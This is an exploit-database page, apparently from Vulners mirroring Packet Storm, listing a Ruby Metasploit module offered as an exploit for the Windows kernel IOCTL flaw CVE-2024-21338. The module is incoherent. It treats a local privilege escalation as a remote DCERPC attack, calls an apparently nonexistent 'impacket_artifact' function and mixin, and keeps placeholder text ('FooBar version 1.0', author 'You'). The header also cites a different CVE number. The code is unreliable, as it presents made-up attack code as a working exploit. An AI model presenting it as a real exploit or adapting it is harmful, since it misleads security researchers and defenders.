Lucene search
K

Microsoft Windows 10.0.17763.5458 Privilege Escalation

🗓️ 02 Apr 2024 00:00:00Reported by E1.CodersType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 388 Views

Microsoft Windows Kernel Exposed IOCTL Privilege Escalation CVE-2024-2133

Related
Code
`#############################################  
# Exploit Title : EXPLOIT Microsoft Windows Kernel Exposed IOCTL with Insufficient Access Control Vulnerability CVE-2024-21338 #  
#  
# This module requires Metasploit: https://metasploit.com/download  
#  
# Author : E1.Coders #  
# #  
# Contact : E1.Coders [at] Mail [dot] RU #  
# #  
# Security Risk : High #  
# #  
# #  
#############################################  
  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::DCERPC::MS08_067::Artifact  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'CVE-2024-21338 Exploit',  
'Description' => 'This module exploits a vulnerability in FooBar version 1.0. It may lead to remote code execution.',  
'Author' => 'You',  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2024-21338']  
]  
)  
)  
  
register_options(  
[  
OptString.new('RHOST', [true, 'The target address', '127.0.0.1']),  
OptPort.new('RPORT', [true, 'The target port', 1234])  
]  
)  
end  
  
def check  
connect  
  
begin  
impacket_artifact(dcerpc_binding('ncacn_ip_tcp'), 'FooBar')  
rescue Rex::Post::Meterpreter::RequestError  
return Exploit::CheckCode::Safe  
end  
  
Exploit::CheckCode::Appears  
end  
  
def exploit  
connect  
  
begin  
impacket_artifact(  
dcerpc_binding('ncacn_ip_tcp'),  
'FooBar',  
datastore['FooBarPayload']  
)  
rescue Rex::Post::Meterpreter::RequestError  
fail_with Failure::UnexpectedReply, 'Unexpected response from impacket_artifact'  
end  
  
handler  
disconnect  
end  
end  
  
  
#refrence : https://nvd.nist.gov/vuln/detail/CVE-2024-21338  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation